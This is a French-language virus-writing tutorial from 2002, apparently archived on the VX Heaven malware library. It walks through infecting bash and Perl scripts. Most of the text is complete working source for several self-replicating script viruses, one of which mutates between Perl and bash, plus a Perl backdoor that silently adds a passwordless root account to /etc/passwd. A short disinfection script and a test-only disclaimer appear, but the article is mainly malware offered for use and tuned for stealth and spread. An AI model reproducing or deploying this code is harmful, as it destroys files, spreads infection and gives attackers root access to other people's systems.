Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Shell script & perl script infection

Emper0r
2002

[Back to index] [Comments]

Introducion

Les virus aux pays des pingouins ont la vie dure. Premièrement n'importe qui n'infecte pas n'importe quoi n'importe où. L'infection des elf est une chose délicate, donc le mieux pour s'amuser est d'étudier l'infection des scripts. Cet article n'a pas pour but d'inciter les S-K à polluer les systèmes linux, mais sert à présenter un danger potentiel. Ce danger est relativement faible vu la facilité de détecter ce genre de bestiole et vu la difficulté que ces virus rencontre pour ce propager.

Notre virus doit infecter un maximum de fichier en respectant des consignes de discrétions.

Il ne doit pas:

Sommaire

  1. Shell script infection.
    1. Virus à écrasement.
    2. Virus parasite.
    3. Optimisation du virus.
    4. Désinfection.
  2. Perl script infection.
    1. Virus parasite.
    2. Backdoor.
  3. Perl-shell script infection.
    1. Virus parasite à mutation simple.

Partie 1: Shell script infection

I. Virus à écrasement

Je crée un dossier test et dedans j'y place 5 fichiers, 4 fichiers de script et 1 fichier image:

[[email protected] test]$ ls -al
total 124
drwxr-xr-x    2 emper0r  emper0r      4096 jun 20 01:16 ./
drwx--x--x   22 emper0r  emper0r      4096 jun 20 01:15 ../
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:15 test*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test1*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r     97685 jun 20 01:15 tux.jpg*

Les fichiers de tests sont identiques mais test3 na pas de droits en écriture. Voici le contenu de ces fichiers:

[[email protected] test]$ cat test
#!/bin/bash
echo 'script de test'
[[email protected] test]$

Bon, on va commencer par un petit script de base qui doit ce reproduire dans le répertoire courant. On crée un nouveau script que j'appelle vx:

#!/bin/bash
for fichier in *                #recherche les fichiers du répertoire
                                #courant et place leur nom dans $fichier

do                              #début de la boucle

        cp $0 $fichier          #copie le contenu du script lancé dans
                                #le script trouvé

done                            #on recommence tant qu'il y a des fichiers dans
                                #le répertoire
 

W0W alors ça c'est carrément trop l33t comme script!!! Je vais pouvoir écrire pour Hackerz Voice si je continue (humour).

Je lance ça:

[[email protected] test]$ ./vx
cp: Ne peut créer un fichier de type régulier `test3': Permission non accordée
cp: `./vx' et `vx' identifient le même fichier.

Pour la discrétion c'est loupé 2 messages d'erreur déjà :)

[[email protected] test]$ ls -al
total 32
drwxr-xr-x    2 emper0r  emper0r      4096 jun 20 01:24 ./
drwx--x--x   23 emper0r  emper0r      4096 jun 20 01:24 ../
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 test*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 test1*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 tux.jpg*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:24 vx*

Ce stupide code a détruit mon image il s'est recopié dedans à sa place; mon image ne fait plus que 55 octets.

[[email protected] test]$ cat test
#!/bin/bash
for fichier in *
do
        cp $0 $fichier
done
[[email protected] test]$

Le contenu de mes scripts à aussi été remplacé par le code du virus. Ce genre de virus est appelé virus a écrasement, vous avez compris pourquoi? :) Ils ne présentent absolument aucun interêt.

II. Virus Parasite:

Après ce premier test on voit que le virus à crée une erreur en voulant infecter un fichier qui n'a pas de droits en écriture.

Ici 2 solutions:

La 2nd solution n'est pas terrible car elle alourdit un peu le code, et les cas où il ne vas y avoir les droits d'écriture sur le fichier et où on va pouvoir les mettre vont être rares. De toute façon, ce n'est pas très discret, mais à vous de voir ce que vous recherchez.

Le deuxième messages d'erreur est provoqué par le script lancé qui tente de se récrire lui même ; il suffit de rediriger vers /dev/null et voila c'est réglé.

Il faut aussi que le virus fasse la différence entre des fichiers de type shell script et les autres, car ajouter un script dans une image ou un elf n'a pas de sens.

Pour cela on utilise la commande file:

[[email protected] test]$ file test
test: Bourne-Again shell script text executable
[[email protected] test]$

Dernier point à régler il faut que le virus se recopie dans les autres shell script mais sans les détruire. Il faut faire un truc comme ça:

 ------- 			         -------
|       |				| virus	|
|shell	|    <-- avant			|-------|	<-- après
|script	|	 infection		|	|	    infection
|	|				|shell	|
 ------- 				|script	|
					|	|
					 -------

Voila, on a le code viral au début du script. Une fois qu'il a fini de bosser il passe la main au code du script original. Il faut aussi inclure une signature aux script déjà infectés afin de ne pas les réinfecter plusieurs fois.

Voici le code, non optimisé, que je propose pour effectuer tout ça:

#!/bin/bash
#c0r0na                                           #signature
for fichier in *
do
  if [ -f $fichier -a -w $fichier ]               #$fichier est un fichier ?
                                                  #on peut y écrire dedans ?
  then
    if file $fichier | grep Bourne-A > /dev/null  #teste si le fichier est un
                                                  #script bash
    then
      head -n 2 $fichier  > .a
      if grep c0r0na .a > /dev/null               #teste si le fichier a déjà
                                                  #été infecter
      then
        rm -f .a
      else
        cat $fichier > .a                         #sinon
        head -n 23 $0 > $fichier                  #place le code viral dans le fichiers
        cat .a >> $fichier                        #remet le script initial à la suite
        rm -f .a
      fi
    fi
  fi
done
 

C'est vraiment rien de compliqué.

Je restore le dossier test précédement sauvegardé et je teste mon nouveau script:

[[email protected] test]$ ls -al
total 128
drwxrwxr-x    2 emper0r  emper0r      4096 jun 20 14:59 ./
drwx--x--x   24 emper0r  emper0r      4096 jun 20 14:59 ../
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:15 test*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test1*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r     97685 jun 20 01:15 tux.jpg*
-rwxrwxr-x    1 emper0r  emper0r       441 jun 20 03:15 c0r0na*

On lance le virus:

[[email protected] test]$ ./c0r0na
[[email protected] test]$

Aucun message d'erreur c'est déjà ça :)

[[email protected] test]$ ls -al
total 128
drwxrwxr-x    2 emper0r  emper0r      4096 jun 20 15:03 ./
drwx--x--x   24 emper0r  emper0r      4096 jun 20 14:59 ../
-rwxr-xr-x    1 emper0r  emper0r       476 jun 20 15:03 test*
-rwxr-xr-x    1 emper0r  emper0r       476 jun 20 15:03 test1*
-rwxr-xr-x    1 emper0r  emper0r       476 jun 20 15:03 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r     97685 jun 20 01:15 tux.jpg*
-rwxrwxr-x    1 emper0r  emper0r       441 jun 20 03:15 c0r0na*

Il a l'air d'avoir bien fait son boulot on remarque l'agrandissement des scripts test ; l'image n'a pas été détruite.

Si on fait un "cat test", on voit bien notre code viral au début puis après le script original. Maintenant je teste si les scripts infectés peuvent infecter à leur tour d'autre script.

Je crée un script nommé "test4" et je lance "test" : Tout marche comme prévu, le code viral se lance, infecte le nouveau fichier (test4) et le code original du script est exécuté. Le script na pas ralenti de façon visible le système sur mon laptop équipé d'un duron 900. Pour tester le temps mis a effectuer le script on peut lancer le script de cette façon

[[email protected] test]$ time -p ./test
script de test
real 0.17
user 0.10
sys 0.07

Ici c'est parfait mais il faut penser que l'on a infecté qu'un seul script. Lorsque que je fait le test pour infecter 9 fichiers c'est déjà un peu plus long:

[[email protected] test]$ time -p ./c0r0na
real 0.48
user 0.26
sys 0.21

Pour ceux qui ne savent pas à quoi ces chiffres correspondent, un "man time" suffira. Il serait peut être bien de mettre un compteur d'infection pour pas ralentir les vielles machines au cas ou on tombe sur un dossier avec plein de shell script a infecter, une fois de plus à vous de voir le but que vous recherchez, moi c'est juste pour le fun.

III. Optimisation du virus:

Pour optimiser le code, on va choisir des noms de variables d'un seul caractère, et essayer de réduire le nombre de lignes:

#!/bin/bash
#c0r0na
for f in *
do
if [ -f $f -a -w $f ];then
if file $f | grep Bourne-A > /dev/null
then
head -n 2 $f > .a
if grep c0r0na .a > /dev/null
then
rm -f .a
else
cat $f > .a
head -n 18 $0 > $f
cat .a >> $f
rm -f .a
fi;fi;fi
done
 

Voila, il doit y avoir moyen de faire mieux mais je suis pas trés bon en programmation shell script. Ce virus étant fourni sous licence GPL vous avez le droit de le modifier :)) Le virus passe quand même de 441 octets a 239 octets et de 23 lignes a 18 lignes.

Maintenant il reste un gros problème et je bloque pour le résoudre de manière efficasse : comment infecter les scripts qui ce trouve dans d'autre dossier? J'ai penser a faire une boucle du style:

       for dir in *
 

Puis rentrer dans chaque répertoire pour infecter les scripts et remonter aux niveau supérieur avec un "cd .." mais cela ralentira énormément la machine ce n'est pas du tout discret :(

J'ai pas de solution adéquate ; il faudrait trouver un moyen pour faire une sorte de virus résident. Je pense qu'il doit exister une bonne solution mais je sais pas faire. Pour le moment ce virus n'est donc pas capable de véritablement se propager. Voila si quelqu'un détient la solution: mail [email protected]

IV. Désinfection

Pour le fun je vous propose un script de désinfection, simplifié au maximum, en perl:

#!/usr/bin/perl
foreach $Fichier (<*>)                                          #recherche les fichiers
                                                                #du rep courant
{
  if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier))          #teste les droits
  {
    open(File, "$Fichier");                                     #ouvre le fichier

    @Temp=<File>;                                               #le fichier est placé dans
                                                                #le tableau Temp
    close(File);
    if (@Temp[1] =~ "c0r0na")                                   #teste si fichier infecté
                                                                #par c0r0na
    {
     print "\n----> Le fichier:".$Fichier." est infecté\n";
     print "Désinfection de ".$Fichier." en cours\n";
        open(File, ">$Fichier");                                #ouvre le fichier pour
                                                                #écrire dedans

        print File @Temp[18 .. $#Temp];                         #récrit le fichier sans
                                                                #les 18 premières ligne
        close(File);
     print "Désinfection réussi.\n\n";
    }
  }
}
 

Ce script est facilement configurable pour désinfecter les différents viriis de cet article.

Testons ce script de désinfection:

[[email protected] test]$ cat test
#!/bin/bash
#c0r0na
for f in *
do
if [ -f $f -a -w $f ];then
if file $f | grep Bourne-A > /dev/null
then
head -n 2 $f > .a
if grep c0r0na .a > /dev/null
then
rm -f .a
else
cat $f > .a
head -n 18 $0 > $f
cat .a >> $f
rm -f .a
fi;fi;fi
done
#!/bin/bash
echo 'script de test'
[[email protected] test]$

C'est clair que test est infecté. On lance le script de désinfection.

[[email protected] test]$ ./desinfection

----> Le fichier:test est infecte
Désinfection de test en cours
Désinfection réussi.

----> Le fichier:c0r0na est infecte
Désinfection de c0r0na en cours
Désinfection réussi.

[[email protected] test]$ cat test
#!/bin/bash
echo 'script de test'
[[email protected] test]$

Parfait mon script est nettoyé.

[[email protected] test2]$ cat c0r0na
[[email protected] test2]$

c0r0na était le script qui contenait la souche virale qui a infecté le script test ; son contenu à était supprimé lui aussi.

Partie 2: Perl script infection

Je ne vais pas reprendre toute la démarche faite pour l'infection des shell scripts dans cette partie. Le code présenté ici fonctionne de la même façon que précedemment.

I. Virus Parasite

Le Code

#!/usr/bin/perl
#h0egaard3n                                             #signature
open(File,$0);                                          #ouvre le fichier courant
@vx=<File>;                                             #place son contenu dans le tableau @vx
close(File);
foreach $Fichier (<*>)                                  #recherche de fichiers
{
  if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier))  #teste les droits
  {
    open(File, "$Fichier");                             #ouvre le fichier trouvé
    @Temp=<File>;                                       #place son contenu dans le tableau @Temp
    close(File);
    if (@Temp[0] =~ "/perl")                            #teste si le fichier est bien un script perl
    {
      if (@Temp[1] ne "\#h0egaard3n\n")                 #test qu'il n'est pas déjà infecté
      {
        open(File, ">$Fichier");                        #rouvre le fichier pour y écrire
        print File @vx[0 .. 23];                        #on y met les 23 premières ligne
        print File @Temp;                               #on ajoute à la suite script original
        close (File);
      }
    }
  }
}
 

Encore une fois rien de compliqué... Je passe très vite sur cette partie ; je ne montrerai pas les tests, c'est sans interêt puisque ca fonctionne pareil que pour les scripts shell. En ce qui concerne l'optimisation c'est toujours pareil.

L'archive virus.zip contient une version à moitié optimisée.

Comme précédement, on fait un test de vitesse sur l'infection de 9 fichiers:

[[email protected] test]$ time -p ./h0egaard3n
real 0.04
user 0.03
sys 0.01

Il y a rien a dire, le perl c'est carrément plus rapide!

II. Backdoor

Imaginez que le root lance un script infecté : si ce script contient une petite backdoor alors la sécurité du système est grandemment compromise.

Voici un exemple de backdoor ajoutant un compte avec les droits root sans mot de passe:

$f="/etc/passwd";
if ((-w $f) && (-r $f)){                #regarde si l'on peut lire et écrire le /etc/passwd
  open(File, $f);
  @t=<File>;                            #copie le fichier dans @t
  close(File);
  $bd = "ftpp::0:0:ftp:/:/bin/sh\n";
  if (@t[6] ne $bd){                    #teste si le compte ftpp avec droits root existe déjà
    for (0 .. 5){
      @t1[$_]=@t[$_];}                  #sauvegarde les 6 premières lignes
    for (6 .. $#t){
      @t2[$_]=@t[$_];}                  #sauvegarde les lignes 7 jusqua la fin
    open (File, ">$f");
    print File @t1;                     #restore les début
    print File $bd;                     #ajoute notre compte sans pass avec droit root
    print File @t2;                     #restore la suite
}}
 

Cette backdoor est toute simple : si elle peut ouvrir /etc/passwd elle regarde la ligne n°7 pour voir si elle n'a pas déjà ajouté le compte avec droit root sans pass. Si ce n'est pas le cas elle l'ajoute.

J'ai choisi de ne mettre le nouveau compte compte root ni au début ni à la fin du fichier passwd, mais dans le milieu. La backdoor est un peu plus grosse mais c'est plus discret. Si le root lance ce bout de code alors un simple user n'a plus qu'a faire : "su ftpp" et il obtient les droits root.

Il est tout aussi simple de faire la même backdoor pour le virus bash c0r0na.

Partie 3: Perl-shell script infection

Maintenant encore plus amusant :)

Faire une souche virale qui serait capable d'infecter à la fois des scripts shell et des scripts perl. Le script perl infecté serait capable à son tour d'infecter soit un autre script perl soit un script shell et inversement.

Comment faire ? :

Notre souche contient pour commencer par exemple le script perl au début, et à la suite le script bash, mais celui si désactivé, c'est a dire commenté avec un "#" (évidemment car du bash dans un script perl ça na pas de sens).

Si ce script détecte un script perl infectable dans le répertoire, alors il se recopie au début à l'identique (il garde le script bash commenté biensur). Puis il ajoute le script original.

En revanche, si ce script rencontre un fichier bash infectable il recopie la partie bash décommenté au début, commente la parti perl et la recopie en suivant, puis remet le script original. Le script bash doit biensur avoir la même capassité que le script perl décrit au-dessus. Comment ça mes explication sont pas claires ? :)

I. Virus parasite à mutation simple

Notre virus doit donc être capable de faire des mutations de son code:

 --------                         --------                         --------
|virus   |                       |virus   |                       |virus   |
|perl    |       rencontre       |bash    |       rencontre       |perl    |
|--------|  -->  un script  -->  |--------|  -->  un script  -->  |--------|
|#virus  |       bash            |#virus  |       perl            |#virus  |
|#bash   |                       |#perl   |                       |#bash   |
 --------                        |--------|                       |--------|
    ^                            |script  |                       |script  |
    |                            |bash    |                       |perl    |
    |                            |original|                       |original|
    |                             --------                         --------
    |                                ^                                ^
    |                                |                                |
Souche virale,               Mutation : la                     Mutation : la partie perl
script perl actif            partie bash est activé            est réactivé et passé
en début, script             et placé en début.                en début.
bash déactivé	             La parti perl suit                La parti bash suit et
à la suite.	             et est désactivé.                 est désactivé.
		             En fin on a le                    En fin on a le script
		             script original.                  original.

Biensur le code va devenir vraiment important et les fichiers infecté vont beaucoup grossir. Et puis imaginez la geule du gars qui va regarder un fichier infecté, avec du code perl commenté dans son script shell ou l'inverse.

Le code

#!/usr/bin/perl                                         #parti perl
#H3in3k3n                                               #marque d'infection
open(File,$0);
@vx=<File>;                                             #place le virus dans la table @vx
close(File);
foreach $Fichier (<*>){                                 #recherche les fichiers
  if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)){ #test si fichier et vérifie les droits
    open(File, "$Fichier");
    @Temp=<File>;                                       #sauvegarde le contenu du fichier dans @Temp
    close(File);
    if (@Temp[0] =~ "/perl"){                           #teste si c'est un fichier perl
      if (@Temp[1] ne "\#H3in3k3n\n"){                  #teste si déjà infecté
        open(File, ">$Fichier");
        print File @vx[0 .. 61];                        #écrit le virus
        print File @Temp;                               #récrit le script original
        close (File);}}
    if (@Temp[0] =~ "/bash"){                           #si c'est un shell script
      if (@Temp[1] ne "\#H3in3k3n\n"){
        for (0 .. 28 ){
          @vx2[$_] = "\#" . @vx[$_];}                   #commente les 29 premières lignes, résultat dans @vx2
        for (29 .. 61){
          @vx1[$_]= @vx[$_];
          @vx1[$_]=~ s/#//;}                            #décommente les lignes 30 à 62, résultat dans @vx1
        open(File, ">$Fichier");
        print File @vx1;                                #écrit la parti shell script
        print File @vx2;                                #écrit la parti perl script commenté
        print File @Temp;                               #récrit le script original
        close(File);
}}}}
##!/bin/bash                                            #parti bash
##H3in3k3n                                              #marque d'infection
#for fichier in *                                       #recherche de fichier
#do
#  if [ -f $fichier -a -w $fichier ];then               #teste si fichier et vérifie les droits
#      if file $fichier | grep Bourne-A > /dev/null     #teste si c'est un fichier BASH
#       then
#           head -n 2 $fichier  > .a
#           if grep H3in3k3n .a > /dev/null             #teste si déjà infecté
#           then
#               rm -f .a
#           else
#               cat $fichier > .a                       #sauvegarde le script original dans .a
#               head -n 62 $0 > $fichier                #recopie le virus dans le fichier
#               cat .a >> $fichier                      #recopie le script original a la suite
#               rm -f .a
#           fi;fi
#      if file $fichier | grep perl > /dev/null         #teste si fichier perl
#      then
#          head -n 2 $fichier  > .a
#           if grep H3in3k3n .a > /dev/null             #teste si infecté
#           then
#                       rm -f .a
#           else
#               cat $fichier > .a
#               awk '{ if ((NR>=34)&&(NR<=62)) print $0 }' $0 > .b
#               cut -b 2- .b > $fichier                 #décommente les lignes 34 à 62, écrit dans le fichier
#               head -n 32 $0 > .b
#               sed -e 's/^/#/' .b >> $fichier          #commente la parti bash et la copi à la suite
#               cat .a >> $fichier                      #ecrit le script orignal en suivant
#               rm -f .a .b
#fi;fi;fi
#done
 

Voila mon virus H3in3k3n ! D'aprés mes tests il fonctionne correctement ( merci Ciel ).

Les scripts perl et/ou bash, infectés par cette souche, sont à leur tour capable d'infecter d'autres scripts perl et bash de façon correcte et ainsi de suite. J'ai commencé le perl il y a 3 semaines, juste avant d'écrire cet article donc il y a certainement des choses maladroites. Il y a des choses à arranger comme par exemple faire le test d'infection avant de faire le test sur le type de fichier, cela permet de gagner un test, supprimmer les 2 fichiers temporaires crés la partie bash ...

Conclusion

Peut être qu'une version améliorée sera publié dans le prochain IOC magazine ; là je n'est pas eu le temps entre les exams, fêter les vacances et la réussite aux exams ... :)

Si vous voulez tester ces virus, vous les trouverez dans l'archive virus.zip

ATTENTION : NE TESTEZ CECI QUE SUR VOTRE PROPRE MACHINE.

Pour ceux qui veulent des explications sur le code de H3in3k3n ou participé à la version 2, vous pouvez m'écrire à [email protected]

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua